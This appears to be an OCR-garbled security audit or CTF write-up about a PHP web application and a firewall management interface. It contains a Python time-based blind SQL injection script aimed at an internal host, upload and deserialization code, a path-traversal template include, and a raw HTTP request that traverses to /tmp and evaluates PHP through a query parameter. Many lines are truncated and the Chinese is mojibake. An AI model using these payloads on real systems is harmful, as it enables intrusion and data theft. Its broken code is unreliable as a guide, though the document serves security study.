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import requests
import random
import hashlib
import time

s = requests.Session()

url="http://10.66.20.180:3002/article.php’

tables_count_num = ©

strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM@!#$%* () .<>1234567890{}"



def get_content(url):

for i in xrange(50):
# payload = "1 and ((SELECT length(user) from admin limit 1)="+str(i)+") and (sleep(2))"
# payload = "(select case when ((SELECT length(t.2) from (select 1,2,3,4 union select * from fl
payload = "(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2

if get_data(payload):
print "[*] content_length: "+str(i)
content_length = i
break

content =

tmp_content =

for i in range(1,content_length+1):
for k in strings:
tmp_content = content+str(k)
tmp_content = tmp_content.ljust(content_length,' ")

# payload = "1 and (SELECT ascii(mid(((SELECT user from admin limit 1))from("+str(i)+")))="+str
payload = "(select case when ((SELECT t.4 from (select * from((select 1)a join(select 2)b join

# print payload

if get_data(payload):
content += k
print "[*] content: "+content
break

print "[*] content: + content

def get_response(payload):

s = requests.Session()
username = "teststeststests1234\\"

s.post()

def get_data(payload):

u = url+'?id="+payload

print u

otime = time.time()

# print u.replace(' ','%20')

r = s.get(u)
rr = r.text
ptime = time.time()

if ptime-otime >2:
return True
else:
return False

get_content(url)
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switch ($type){
case 'text/php':
case 'text/x-php':
$this->status = 'failed';break;
case 'text/plain’:
$this->info = @serialize($info);break;
case 'image/png':
case 'image/gif':
case 'image/jpeg':
$info[ 'file_type'] = 'image';
$this->info = @serialize($info);break;
case 'application/zip':
$info[ 'file_type'] = 'zip';

$info['file list'] = $this->handle_ziparchive();

$this->info = @serialize($info);
$this->flag = false;break;

default:
$info[ 'file_type'] = 'other';
$this->info = @serialize($info);break;
break;
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private function handle_ziparchive() {
try{
$file_list = array();
$zip = new Pclzip($this->file);
$save_dir = './uploads/' . substr($this->filename, 0, strlen($this->filename) - 4);
@mkdir($save_dir, 755);
$res = $zip->extract(PCLZIP_OPT_PATH, $save_dir, PCLZIP_OPT_EXTRACT DIR_RESTRICTION, '/var/www/html
foreach ($res as $k => $v) {
$file_list[$k] = array(
'name’ => $v['stored_filename'],
'size' => $this->get_size($v['size'])
)s
}
return $file_list;
}
catch (Exception $ex) {
print_r($ex);
$this->status = 'failed';
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public function _ destruct() {
if($this->flag){
file_put_contents('./uploads/' . $this->filename , file_get_contents($this->file));
}

$this->conn->insert($this->filename, $this->info);
echo json_encode(array('status' => $this->status));
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/application/home/Controller/CommonControler.class.php

function index() {
($this->_method){
‘get':
($this->_type 'json’ $_GET['fun']){
($_GET['fun'] "combo') {
$this->comboBox();
} {
$this->callFun();
}
($this->_type ‘json') {
($_GET['grid']) {
$this->treegridShow();
{

$this->datagridShow();
(gthis->_type "html®){
($_GET['assign']) {

$this-hiindowsho()
{

$this->display('/Window/".$_GET['w']);
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$type = array(

'json' => ‘application/json,text/x-json,application/jsonrequest,text/json’,
'xml’ => ‘'application/xml,text/xml,application/x-xml",

"html' => ‘text/html,application/xhtml+xml,*/*",

'js' => ‘'text/javascript,application/javascript,application/x-javascript’,
'css' => ‘'text/css',

=> ‘'application/rss+xml’,
'yvaml' => ‘application/x-yaml,text/yaml’,

'atom' => ‘application/atom+xml’,

"pdf’ => ‘'application/pdf’,

"text' => ‘'text/plain’,

'png’ => ‘'image/png',

‘jpg' => 'image/jpg,image/jpeg,image/pjpeg’,
'gif' => ‘'image/gif',

‘csv' => ‘'text/csv'

)5
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} else {
$config[ 'param']['filename']=$_FILES["file"]["name"];
$newfilename="./tmp/".$_FILES["file"]["name"];
if($_POST[ 'hid_import_file_type']) $config['param']['file-format'] = formatpost($_POST[ 'hid_import_
if($_POST[ 'hid_import_loc']!="'") $config['param’']['group'] = formatpost($_POST['hid_import_loc']);
if($_POST[ "hid_import_more_user']) $config['param']['type'] = formatpost($_POST['hid_import_more_us
if($_POST[ 'hid_import_login_addr']!="'")$config[ 'param'][ 'address-name'] = formatpost($_POST['hid_im
if($_POST[ 'hid_import_login_time']!="'") $config['param'][ 'timer-name'] = formatpost($_POST[ 'hid_imp
if($_POST[ 'hid_import_login_area']!="'") $config['param']['area-name'] = formatpost($_POST['hid_impo
if($_POST[ "hid_import_cognominal']) $config['param']['cognominal'] = formatpost($_POST[ 'hid_import_
VL e B A e i e P R e | S s
if(preg_match('/\.\./"',$newfilename)){
exit(' EAESCF AR . EFR);
¥
var_dump($newfilename);
if(move_uploaded_file($_FILES["file"]["tmp_name"],$newfilename)) {
echo sendRequestSingle($config);
} else
$this->display( 'Default/auth_user_manage');

KRR PR AR mp H ST, 1 EHAW LS A, P ARATE S AL E X

FRAE R 2 A SO S R S i



GET /?c=Auth/User&a=index&assign=0&w=../../../../../../../../tmp/index1&ddog=var_dump(scandir('/usr/local/a
Host: 172.29.118.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0

Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=spk6s3apvh5c54tj9ch@52fp53; think_language=zh-CN

Upgrade-Insecure-Requests: 1
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"policy’' => array(
"text' => L('SECURE_POLICY'),
‘childs' => array(
/ /7 4% )
"firewall' => array(
"text' => L('ACCESS_CONTROL'),
'url' => '?c=Policy/Interview&a=control_show',
"img' => '28°',
‘childs' => "'
)>
/ /A
'nat' => array(
"text' => L('NAT'),
‘url' = ',
"img' => '2°',
‘childs' => array(
'nat' => array(
"text' => 'NAT',
'url' => '?c=Policy/Nat&a=nat_show'

)s
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public function interviewAdd() {
if (getPrivilege("firewall") == 1) {

if($_POST['actionl']!="") $param['action'] = formatpost($_POST['actionl']);
if($_POST['enable']!="") $param['enable'] = formatpost($_POST['enable']);
if($_POST['logl']!="") $param['log'] = formatpost($_POST['logl']);
if($_POST['srcarea']!="") $param['srcarea'] = '"\''.formatpost($_POST['srcarea'],false)."'\"’
if($_POST['dstarea']!="") $param['dstarea'] = "\''.formatpost($_POST['dstarea'],false)."’
/X */
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/%%
* REBUBERASAR, $moduleft HA AR
* @param string $module
* @return int 1:AERSAIE, 2. SRR, 0:WiR
*/
function getPrivilege($module) {
if (!checkLogined()) {
header('location:' . $_COOKIE['urlorg']);
}
return ngtos_ipc_privilege(NGTOS_MNGT_CFGD_PORT, M_TYPE_WEBUI, REQ_TYPE_AUTH, AUTH_ID, NGTOS_MNGT_IPC_N

— H R %] checklogin
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function checkLogined() {
/ /%5 cookiet flikey
$key = $_COOKIE['loginkey'];
// debugFile($key);
//FAHurliERHffjauthid
// $authid = $_GET['authid'];
// debugFile($authid);
/ /K sessionH e HAF{E L authidAlkey
if (lempty($key) && $key == $_ SESSION[ 'auth_id']J[AUTH_ID]) {
return true;
} else {
return false;

}

/*
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